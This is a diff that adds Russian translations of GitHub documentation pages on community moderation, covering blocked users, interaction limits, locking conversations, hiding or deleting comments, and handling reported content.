a/translations/ru-RU/content/communities/maintaining-your-safety-on-github/viewing-users-youve-blocked-from-your-personal-account.md b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/viewing-users-youve-blocked-from-your-personal-account.md new file mode 100644 index 000000000000..276f85a7c826 --- /dev/null +++ b/translations/ru-RU/content/communities/maintaining-your-safety-on-github/viewing-users-youve-blocked-from-your-personal-account.md @@ -0,0 +1,29 @@ +--- +title: 'Просмотр пользователей, заблокированных из вашей личной учетной записи' +intro: 'Вы можете просмотреть список всех пользователей, заблокированных в вашей личной учетной записи.' +redirect_from: + - /articles/viewing-users-you-ve-blocked-from-your-personal-account + - /articles/viewing-users-youve-blocked-from-your-personal-account + - /github/building-a-strong-community/viewing-users-youve-blocked-from-your-personal-account +versions: + fpt: '*' + ghec: '*' +topics: + - Community +shortTitle: View blocked users in account +ms.openlocfilehash: 622a6c066175ecc909c0f129f1a7e5e1849eac7e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145092389' +--- +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.blocked_users %} +3. В разделе "Заблокированные пользователи" просмотрите список пользователей, заблокированных в вашей учетной записи. + ![Список заблокированных пользователей](/assets/images/help/settings/list-of-blocked-users.png) + +## Дополнительные материалы + +- [Блокировка пользователя из вашей личной учетной записи](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account) +- [Разблокировка пользователя из вашей личной учетной записи](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account) +- [Просмотр пользователей, которые заблокированы из вашей организации](/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization) diff --git a/translations/ru-RU/content/communities/moderating-comments-and-conversations/index.md b/translations/ru-RU/content/communities/moderating-comments-and-conversations/index.md new file mode 100644 index 000000000000..0e081adb29cb --- /dev/null +++ b/translations/ru-RU/content/communities/moderating-comments-and-conversations/index.md @@ -0,0 +1,31 @@ +--- +title: Модерация комментариев и бесед +shortTitle: Moderation +intro: 'Модерация бесед помогает создать дружелюбное сообщество для всех участников проекта путем поддержки здорового сотрудничества и препятствования эскалации конфликтов. Вы можете применить кодекс поведения сообщества к обсуждениям, просматривая содержимое, на которое пожаловались пользователи, редактируя и удаляя комментарии, а также блокируя беседы.' +redirect_from: + - /articles/moderating-comments-and-conversations + - /github/building-a-strong-community/moderating-comments-and-conversations +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +children: + - /managing-disruptive-comments + - /locking-conversations + - /limiting-interactions-in-your-repository + - /limiting-interactions-for-your-personal-account + - /limiting-interactions-in-your-organization + - /tracking-changes-in-a-comment + - /managing-how-contributors-report-abuse-in-your-organizations-repository + - /managing-reported-content-in-your-organizations-repository +ms.openlocfilehash: 642aa8b5dcedf4167239ccd94363a08ded9e25d7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145149639' +--- + diff --git a/translations/ru-RU/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-personal-account.md b/translations/ru-RU/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-personal-account.md new file mode 100644 index 000000000000..e2b7d13b2986 --- /dev/null +++ b/translations/ru-RU/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-personal-account.md @@ -0,0 +1,37 @@ +--- +title: Ограничение взаимодействий для личной учетной записи +intro: 'Вы можете временно применить период ограниченной активности для определенных пользователей во всех общедоступных репозиториях, принадлежащих вашей личной учетной записи.' +versions: + fpt: '*' + ghec: '*' +permissions: Anyone can limit interactions for their own personal account. +redirect_from: + - /github/building-a-strong-community/limiting-interactions-for-your-user-account + - /communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account +topics: + - Community +shortTitle: Limit interactions in account +ms.openlocfilehash: df83b19880347dacb18e2e5bf048e6478ba0e61b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145165126' +--- +## Сведения о временных ограничениях взаимодействия + +Ограничение взаимодействий для личной учетной записи включает временные ограничения взаимодействия для всех общедоступных репозиториев, принадлежащих этой личной учетной записи. {% data reusables.community.interaction-limits-restrictions %} + +{% data reusables.community.interaction-limits-duration %} По истечении срока действия ограничения пользователи могут возобновить нормальную работу в общедоступных репозиториях. + +{% data reusables.community.types-of-interaction-limits %} + +При включении ограничений действий на уровне пользователя не удастся включить или отключить ограничения взаимодействия для отдельных репозиториев. Дополнительные сведения об ограничении действий для отдельного репозитория см. в разделе "[Ограничение взаимодействий в репозитории](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)". + +Вы также можете заблокировать пользователей. Дополнительные сведения см. в статье [Блокировка пользователя из личной учетной записи](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account). + +## Ограничение взаимодействий для личной учетной записи + +{% data reusables.user-settings.access_settings %} +1. В разделе "Доступ" на боковой панели выберите **{% octicon "report" aria-label="The report icon" %} Модерация** и нажмите **Ограничения взаимодействия**. +{% data reusables.community.set-interaction-limit %} ![Параметры временного ограничения взаимодействия](/assets/images/help/settings/user-account-temporary-interaction-limits-options.png) diff --git a/translations/ru-RU/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md b/translations/ru-RU/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md new file mode 100644 index 000000000000..68675bd9a108 --- /dev/null +++ b/translations/ru-RU/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md @@ -0,0 +1,51 @@ +--- +title: Ограничение взаимодействий в организации +intro: 'Вы можете временно применить период ограниченной активности для определенных пользователей во всех общедоступных репозиториях, принадлежащих вашей организации.' +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/limiting-interactions-in-your-organization + - /articles/limiting-interactions-in-your-organization + - /github/building-a-strong-community/limiting-interactions-in-your-organization +versions: + fpt: '*' + ghec: '*' +permissions: Organization owners and moderators can limit interactions in an organization. +topics: + - Community +shortTitle: Limit interactions in org +ms.openlocfilehash: 03bfad7a0da3386b6205517deb66e6b923de8386 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066685' +--- +## Сведения о временных ограничениях взаимодействия + +Ограничение взаимодействий в организации обеспечивает временные ограничения взаимодействия для всех общедоступных репозиториев, принадлежащих организации. {% data reusables.community.interaction-limits-restrictions %} + +{% data reusables.community.interaction-limits-duration %} По истечении срока действия ограничения пользователи могут возобновить нормальную работу в общедоступных репозиториях организации. + +{% data reusables.community.types-of-interaction-limits %} + +Члены организации не затрагиваются ни одним из типов ограничений. + +При включении ограничений действий на уровне организации не удастся включить или отключить ограничения взаимодействия для отдельных репозиториев. Дополнительные сведения об ограничении действий для отдельного репозитория см. в разделе "[Ограничение взаимодействий в репозитории](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)". + +Владельцы и модераторы организации также могут блокировать пользователей на определенный период времени. После истечения срока действия блокировки пользователь автоматически разблокируется. Дополнительные сведения см. в разделе "[Блокировка пользователя из организации](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)". + +## Ограничение взаимодействий в организации + + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. _Для владельцев организации:_ в разделе "Доступ" на боковой панели выберите **{% octicon "report" aria-label="The report icon" %} Модерация**, а затем нажмите кнопку **Ограничения взаимодействия**. + + _Для модераторов организации:_ на боковой панели щелкните **Ограничения взаимодействия**. + +{% data reusables.community.set-interaction-limit %} ![Параметры временного ограничения взаимодействия](/assets/images/help/organizations/organization-temporary-interaction-limits-options.png) + +## Дополнительные материалы +- [Сообщение о нарушении или спаме](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) +- [Управление доступом пользователя к репозиторию организации](/articles/managing-an-individual-s-access-to-an-organization-repository) +- [Уровни разрешений для репозитория личной учетной записи](/articles/permission-levels-for-a-user-account-repository) +- [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) +- [Управление модераторами в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization) diff --git a/translations/ru-RU/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md b/translations/ru-RU/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md new file mode 100644 index 000000000000..5cbb42d3f01f --- /dev/null +++ b/translations/ru-RU/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md @@ -0,0 +1,43 @@ +--- +title: Ограничение взаимодействий в вашем репозитории +intro: Вы можете временно применить период ограниченной активности для определенных пользователей в общедоступном репозитории. +redirect_from: + - /articles/limiting-interactions-with-your-repository + - /articles/limiting-interactions-in-your-repository + - /github/building-a-strong-community/limiting-interactions-in-your-repository +versions: + fpt: '*' + ghec: '*' +permissions: 'People with admin permissions to a repository, and organization moderators, can temporarily limit interactions in that repository.' +topics: + - Community +shortTitle: Limit interactions in repo +ms.openlocfilehash: 0b49e1bfdf29be5dc270a453512701c9369c5933 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147067253' +--- +## Сведения о временных ограничениях взаимодействия + +{% data reusables.community.interaction-limits-restrictions %} + +{% data reusables.community.interaction-limits-duration %} По истечении срока действия ограничения пользователи могут возобновить нормальную работу в вашем репозиторий. + +{% data reusables.community.types-of-interaction-limits %} + +Вы также можете включить ограничения действий для всех репозиториев, принадлежащих вашей личной учетной записи или организации. Если включено ограничение на уровне пользователя или всей организации, вы не можете ограничить действие для отдельных репозиториев, принадлежащих учетной записи. Дополнительные сведения см. в статьях [Ограничение взаимодействий для личной учетной записи](/communities/moderating-comments-and-conversations/limiting-interactions-for-your-personal-account) и [Ограничение взаимодействий в организации](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization). + +## Ограничение взаимодействий в вашем репозитории + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +1. На боковой панели выберите **{% octicon "comment-discussion" aria-label="The comment-discussion icon" %} Параметры модерации**, а затем щелкните **Ограничения взаимодействия**. +{% data reusables.community.set-interaction-limit %} ![Параметры временного ограничения взаимодействия](/assets/images/help/repository/temporary-interaction-limits-options.png) + +## Дополнительные материалы +- [Сообщение о нарушении или спаме](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) +- [Управление доступом пользователя к репозиторию организации](/articles/managing-an-individual-s-access-to-an-organization-repository) +- [Уровни разрешений для репозитория личной учетной записи](/articles/permission-levels-for-a-user-account-repository) +- [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) +- [Управление модераторами в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization) diff --git a/translations/ru-RU/content/communities/moderating-comments-and-conversations/locking-conversations.md b/translations/ru-RU/content/communities/moderating-comments-and-conversations/locking-conversations.md new file mode 100644 index 000000000000..3ac90db1fd3c --- /dev/null +++ b/translations/ru-RU/content/communities/moderating-comments-and-conversations/locking-conversations.md @@ -0,0 +1,48 @@ +--- +title: Блокировка бесед +intro: 'Владельцы репозитория и участники совместной работы, а также пользователи с доступом на запись в репозиторий могут блокировать беседы о проблемах, запросах на вытягивание, а также отложить активное взаимодействие на время или постоянно.' +redirect_from: + - /articles/locking-conversations + - /github/building-a-strong-community/locking-conversations +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +ms.openlocfilehash: 22d2f5cf16ce0a4c9cdda077d4ddd2bde789245f +ms.sourcegitcommit: bafb4fe4c8c086a510eafee6e54a2d172fd3a01b +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/16/2022 +ms.locfileid: '148046577' +--- +Рекомендуется заблокировать беседу, если вся беседа не является конструктивной или нарушает кодекс поведения вашего сообщества{% ifversion fpt or ghec %} либо [Правила сообщества](/free-pro-team@latest/github/site-policy/github-community-guidelines) GitHub{% endif %}. При блокировке беседы можно также указать причину, которая будет общедоступной. + +При блокировке беседы создается событие временной шкалы, которое отображается любому пользователю с доступом для чтения к репозиторию. Однако имя пользователя, блокировавшего беседу, отображается только пользователям с доступом для записи в репозиторий. Для тех, кто не имеет доступа для записи, событие временной шкалы будет анонимным. + +![Анонимизированное событие временной шкалы для заблокированной беседы](/assets/images/help/issues/anonymized-timeline-entry-for-locked-conversation.png) + +Пока беседа заблокирована, только [пользователи с доступом для записи](/articles/repository-permission-levels-for-an-organization/), а также [владельцы репозитория и участники совместной работы](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-personal-account) могут добавлять, скрывать и удалять комментарии. Реакции и голоса в заблокированной беседе отключены для всех пользователей. + +Чтобы найти заблокированные беседы в репозитории, который не архивирован, можно использовать квалификаторы поиска `is:locked` и `archived:false`. Беседы автоматически блокируются в архивных репозиториях. Дополнительные сведения см. в разделе [Поиск проблем и запросов на вытягивание](/search-github/searching-on-github/searching-issues-and-pull-requests#search-based-on-whether-a-conversation-is-locked). + +1. При необходимости напишите комментарий, указывающий причину, по которой вы блокируете беседу. +2. В правом поле проблемы или запроса на вытягивание или над полем комментария на странице фиксации щелкните **Заблокировать беседу**. +![Ссылка на блокировку беседы](/assets/images/help/repository/lock-conversation.png) +3. При необходимости выберите причину блокировки беседы. +![Меню причины блокировки беседы](/assets/images/help/repository/locking-conversation-reason-menu.png) +4. Прочитайте сведения о блокировке бесед и щелкните **Заблокировать беседу по этой проблеме**, **Заблокировать беседу в этом запросе на вытягивание** или **Заблокировать беседу для этой фиксации**. +![Подтверждение блокировки с диалоговым окном причины](/assets/images/help/repository/lock-conversation-confirm-with-reason.png) +5. Когда вы будете готовы разблокировать беседу, щелкните **Разблокировать беседу**. +![Ссылка на разблокировку беседы](/assets/images/help/repository/unlock-conversation.png) + +## Дополнительные материалы + +- [Настройка проекта для внесения действенных вкладов](/communities/setting-up-your-project-for-healthy-contributions) +- [Использование шаблонов для описания важных проблем и выполнения запросов на вытягивание](/communities/using-templates-to-encourage-useful-issues-and-pull-requests) +- [Управление деструктивными комментариями](/communities/moderating-comments-and-conversations/managing-disruptive-comments){% ifversion fpt or ghec %} +- [Обеспечение безопасности в {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github) +- [Сообщение о нарушении или спаме](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) +- [Ограничение взаимодействий в репозитории](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository) {% endif %} diff --git a/translations/ru-RU/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md b/translations/ru-RU/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md new file mode 100644 index 000000000000..727f549d055c --- /dev/null +++ b/translations/ru-RU/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md @@ -0,0 +1,100 @@ +--- +title: 'Управление комментариями, которые мешают работе' +intro: 'Вы можете {% ifversion fpt or ghec %}скрыть, изменить,{% else %}изменить{% endif %} или удалить комментарии по проблемам, запросам на вытягивание и фиксациям.' +redirect_from: + - /articles/editing-a-comment + - /articles/deleting-a-comment + - /articles/managing-disruptive-comments + - /github/building-a-strong-community/managing-disruptive-comments +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +shortTitle: Manage comments +ms.openlocfilehash: f27a310b0ee299839967f6db402c6fdebbc129f0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145117656' +--- +## Скрытие комментария + +{% ifversion fpt or ghec %}Модераторы организации и любой пользователь{% else %}Любой пользователь{% endif %} с доступом на запись в репозиторий может скрывать комментарии по проблемам, запросам на вытягивание и фиксациям. + +Если комментарий не по теме, является устаревшим или разрешенным, может потребоваться скрыть его, чтобы сфокусировать обсуждение или упростить навигацию и проверку запроса на вытягивание. Скрытые комментарии являются свернутыми, но пользователи с доступом на чтение к репозиторию могут расширить их. + +![Свернутый комментарий](/assets/images/help/repository/hidden-comment.png) + +1. Перейдите к комментарию, который вы хотите скрыть. +2. В правом верхнем углу комментария щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем **Скрыть**. + ![Значок горизонтального многоточия и меню модерации комментариев, показывающее опции правки, скрытия и удаления](/assets/images/help/repository/comment-menu.png) +3. В раскрывающемся меню выбора причины щелкните причину, чтобы скрыть комментарий. Затем щелкните **Скрыть комментарий**. + {% ifversion fpt or ghec %} ![Выберите причину скрытия раскрывающегося меню комментариев ](/assets/images/help/repository/choose-reason-for-hiding-comment.png){% else %}![Выберите причину скрытия раскрывающегося меню комментариев](/assets/images/help/repository/choose-reason-for-hiding-comment-ghe.png) {% endif %} + +## Отмена скрытия комментария + +{% ifversion fpt or ghec %}Модераторы организации и любой пользователь{% else %}Любой пользователь{% endif %} с доступом на запись в репозиторий может отменять скрытие комментариев по проблемам, запросам на вытягивание и фиксациям. + +1. Перейдите к комментарию, который вы хотите показать. +2. В правом верхнем углу комментария щелкните **{% octicon "fold" aria-label="The fold icon" %} Показать комментарий**. + ![Показать текст комментария](/assets/images/help/repository/hidden-comment-show.png) +3. В правой части развернутого комментария щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем **Показать**. + ![Значок горизонтального многоточия и меню модерации комментариев, показывающее опции правки, отмены скрытия и удаления](/assets/images/help/repository/comment-menu-hidden.png) + +## Правка комментария + +Любой пользователь с доступом на запись в репозиторий может изменять комментарии по проблемам, запросам на вытягивание и фиксациям. + +Рекомендуется изменить комментарий и удалить содержимое, которое не вносит свой вклад в беседу и нарушает правила поведения вашего сообщества{% ifversion fpt or ghec %} или [Правила сообщества](/free-pro-team@latest/github/site-policy/github-community-guidelines) GitHub{% endif %}. + +Иногда может потребоваться четко указать правки и их обоснование. + +Тем не менее, любой пользователь с доступом на чтение в репозитории может просматривать журнал правок комментария. **Измененный** раскрывающийся список в верхней части комментария содержит журнал правок, показывающих пользователя и метку времени для каждой правки. + +![Комментарий с добавленным примечанием о том, что содержимое было отредактировано](/assets/images/help/repository/content-redacted-comment.png) + +## Редактирование конфиденциальной информации + +Авторы комментариев и пользователи с доступом на запись в репозитории также могут удалять конфиденциальную информацию из журнала редактирования комментария. Дополнительные сведения см. в разделе [Отслеживание изменений в комментарии](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment). + +1. Перейдите к комментарию, который вы хотите изменить. +2. В правом верхнем углу комментария щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем **Правка**. + ![Значок горизонтального многоточия и меню модерации комментариев, показывающее опции правки, скрытия, удаления и отчета](/assets/images/help/repository/comment-menu.png) +3. В окне комментариев удалите необходимое содержимое, а затем введите `[REDACTED]`, чтобы заменить его. + ![Окно комментариев с отредактированным содержимым](/assets/images/help/issues/redacted-content-comment.png) +4. В нижней части комментария введите примечание, указывающее, что вы редактировали комментарий, и при необходимости добавьте причину, почему вы это сделали. + ![Окно комментария с добавленным примечанием о том, что содержимое было отредактировано](/assets/images/help/issues/note-content-redacted-comment.png) +5. Щелкните **Обновить примечание**. + +## Удаление комментария + +Любой пользователь с доступом на запись в репозиторий может удалять комментарии по проблемам, запросам на вытягивание и фиксациям. Владельцы организации, участники команды и автор комментариев также могут удалить комментарий на странице группы. + +Если комментарий содержит некоторое конструктивное содержимое, что добавляется в беседу в проблеме или запросе на вытягивание, вы можете изменить комментарий. + +Вы как модератор можете удалить комментарий только в крайнем случае. Рекомендуется удалить комментарий, если весь комментарий не добавляет конструктивного содержимого в беседу и нарушает правила поведения вашего сообщества{% ifversion fpt or ghec %} или [Правила сообщества](/free-pro-team@latest/github/site-policy/github-community-guidelines) GitHub{% endif %}. + +При удалении комментария создается событие временной шкалы, которое отображается любому пользователю с доступом на чтение к репозиторию. Однако имя пользователя, удалявшего комментарий, отображается только пользователям с доступом на запись в репозиторий. Для тех, кто не имеет доступа на запись, событие временной шкалы будет анонимным. + +![Анонимное событие временной шкалы для удаленного комментария](/assets/images/help/issues/anonymized-timeline-entry-for-deleted-comment.png) + +{% note %} + +**Примечание.** Не удается удалить начальный комментарий (или текст) проблемы или запроса на вытягивание. Вместо этого можно изменить тексты запросов на вытягивание и проблемы, чтобы удалить нежелательное содержимое. + +{% endnote %} + +### Действия по удалению комментария + +1. Перейдите к комментарию, который хотите удалить. +2. В правом верхнем углу комментария щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем **Удалить**. + ![Значок горизонтального многоточия и меню модерации комментариев, показывающее опции правки, скрытия, удаления и отчета](/assets/images/help/repository/comment-menu.png) +3. При необходимости напишите комментарий, отметив, что вы удалили комментарий, и добавьте причину, почему вы это сделали. + +{% ifversion fpt or ghec %} +## Дополнительные материалы +- [Управление модераторами в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization) {% endif %} diff --git a/translations/ru-RU/content/communities/moderating-comments-and-conversations/managing-how-contributors-report-abuse-in-your-organizations-repository.md b/translations/ru-RU/content/communities/moderating-comments-and-conversations/managing-how-contributors-report-abuse-in-your-organizations-repository.md new file mode 100644 index 000000000000..31f36ec7ff8c --- /dev/null +++ b/translations/ru-RU/content/communities/moderating-comments-and-conversations/managing-how-contributors-report-abuse-in-your-organizations-repository.md @@ -0,0 +1,31 @@ +--- +title: 'Управление тем, как участники сообщают о нарушениях в репозитории вашей организации' +intro: Вы можете разрешить участникам сообщать о нарушениях непосредственно специалистам по обслуживанию репозиториев. +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /github/building-a-strong-community/managing-how-contributors-report-abuse-in-your-organizations-repository +topics: + - Community +shortTitle: Manage abuse in your org +ms.openlocfilehash: abd3d429f8d4143a4e28d18d2b22f508a1aa61b8 +ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147878554' +--- +Любой пользователь с разрешениями администратора в репозитории может управлять тем, как участники сообщают о нарушениях в репозитории. + +Вы можете включить или отключить сообщаемое содержимое для общедоступных репозиториев, принадлежащих организации. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.sidebar-moderation-reported-content %} +4. В разделе "Сообщаемое содержимое" выберите или снимите флажок **Принимать отчеты о содержимом от участников совместной работы и предыдущих участников**. + ![Флажок для выбора того, следует ли принимать сообщаемое содержимое для репозитория](/assets/images/help/repository/reported-content-opt-in-checkbox.png) + +## Дополнительные материалы + +- "[Управление сообщаемым содержимым в репозитории организации](/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository)" +- "[Модерация комментариев и бесед](/communities/moderating-comments-and-conversations)" +- "[Сведения об управлении сообществом и модерации](/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation)" diff --git a/translations/ru-RU/content/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository.md b/translations/ru-RU/content/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository.md new file mode 100644 index 000000000000..bca81fc6061f --- /dev/null +++ b/translations/ru-RU/content/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository.md @@ -0,0 +1,51 @@ +--- +title: 'Управление содержимым, на которое пожаловались, в репозитории организации' +intro: 'После того как участник сообщит о содержимом, нарушающем правила, в репозитории, ответственные за обслуживание репозитория смогут просматривать отчет и управлять ими.' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /github/building-a-strong-community/managing-reported-content-in-your-organizations-repository +topics: + - Community +shortTitle: Manage reported content +ms.openlocfilehash: 6b2107acd7a045e089814177dbabae24915d7ae1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117651' +--- +Любой пользователь с разрешениями администратора в репозитории может просматривать содержимое репозитория, на которое пожаловались, и управлять им. + +## Об управлении содержимым, на которое пожаловались + +Перед просмотром содержимого, на которое пожаловались, или управлением им необходимо включить его для репозитория. Дополнительные сведения см. в разделе [Управление тем, как участники сообщают о нарушениях в репозитории вашей организации](/communities/moderating-comments-and-conversations/managing-how-contributors-report-abuse-in-your-organizations-repository). + +Можно отслеживать, просматривать и реагировать на жалобы о содержимом с нарушением. В списке "Отчеты о злоупотреблениях" можно просматривать все отчеты и переходить непосредственно к каждому комментарию, на который пожаловались, на {% data variables.product.prodname_dotcom %}. + +{% data reusables.community.tools-for-moderating %} + +После завершения модерации содержимого с нарушением можно пометить жалобу как разрешенную. Если вы решите, что не закончили модерацию, можно пометить жалобу как неразрешенную. + +## Просмотр содержимого, на которое жалуется участник + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.sidebar-moderation-reported-content %} +4. Справа от содержимого, на которое пожаловались и которое вы хотите просмотреть, щелкните {% octicon "kebab-horizontal" aria-label="The edit icon" %}, а затем **Просмотреть содержимое**. + !["Просмотреть содержимое" в раскрывающемся списке "Изменить" для содержимого, на которое пожаловались](/assets/images/help/repository/reported-content-report-view-content.png) + +## Разрешение жалобы + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.sidebar-moderation-reported-content %} +4. Справа от жалобы, которую вы хотите разрешить, щелкните {% octicon "kebab-horizontal" aria-label="The edit icon" %}, а затем **Пометить как разрешенную**. + !["Пометить как разрешенную" в раскрывающемся списке "Изменить" для содержимого, на которое пожаловались](/assets/images/help/repository/reported-content-mark-report-as-resolved.png) + +## Отмена разрешения жалобы + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.sidebar-moderation-reported-content %} {% data reusables.repositories.reported-content-resolved-tab %} +5. Справа от жалобы, для которой вы хотите отменить разрешение, щелкните {% octicon "kebab-horizontal" aria-label="The edit icon" %}, а затем **Пометить как неразрешенную**. + !["Пометить как неразрешенную" в раскрывающемся списке "Изменить" для содержимого, на которое пожаловались](/assets/images/help/repository/reported-content-mark-report-as-unresolved.png) + +## Дополнительные материалы + +- "[Сведения об управлении сообществом и модерации](/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation)" diff --git a/translations/ru-RU/content/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment.md b/translations/ru-RU/content/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment.md new file mode 100644 index 000000000000..cb4363001086 --- /dev/null +++ b/translations/ru-RU/content/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment.md @@ -0,0 +1,44 @@ +--- +title: Отслеживание изменений в комментарии +intro: Вы можете просмотреть журнал изменений для комментария или удалить конфиденциальную информацию из журнала редактирования комментария. +redirect_from: + - /articles/tracking-changes-in-a-comment + - /github/building-a-strong-community/tracking-changes-in-a-comment +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +shortTitle: Track comment changes +ms.openlocfilehash: 7da6b53f9b98ade8ee73411a80aaf2ff3f412700 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145092365' +--- +## Просмотр сведений в журнале редактирования комментария + +Любой пользователь с доступом на чтение в репозитории может просматривать журнал редактирования комментария. + +1. Перейдите к комментарию, журнал редактирования которого вы хотите просмотреть. +{% data reusables.repositories.edited-comment-list %} + +## Удаление конфиденциальной информации из журнала комментария + +Авторы комментариев и пользователи с доступом на запись в репозитории также могут удалять конфиденциальную информацию из журнала редактирования комментария. + +При удалении конфиденциальной информации из журнала редактирования комментария сведения о пользователе, который внес правки, и о том, когда он это сделал, по-прежнему отображаются в журнале комментария, но содержимое правок больше не доступно. + +1. Перейдите к комментарию, из журнала редактирования которого вы хотите удалить конфиденциальную информацию. +{% data reusables.repositories.edited-comment-list %} +3. В правом верхнем углу окна журнала редактирования нажмите **Параметры**. Затем нажмите **Удалить редакцию из журнала**, чтобы удалить различия, отображающие добавляемое содержимое. + ![Удаление сведений о редактировании комментария](/assets/images/help/repository/delete-comment-edit-details.png) +4. Чтобы подтвердить удаление, нажмите кнопку **ОК**. + +## Дополнительные материалы + +{% ifversion fpt or ghec %}- [Сообщение о злоупотреблениях или спаме](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam){% endif %} +- [Редактирование комментария](/articles/editing-a-comment) diff --git a/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation.md b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation.md new file mode 100644 index 000000000000..da9da58246ed --- /dev/null +++ b/translations/ru-RU/content/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation.md @@ -0,0 +1,43 @@ +--- +title: Сведения об управлении сообществом и модерации +intro: '{% data variables.product.prodname_dotcom %} предоставляет средства, которые позволяют ответственным за обслуживание репозитория определять и применять стандарты поведения в их сообществах {% data variables.product.prodname_dotcom_the_website %}.' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /github/building-a-strong-community/about-community-management-and-moderation +topics: + - 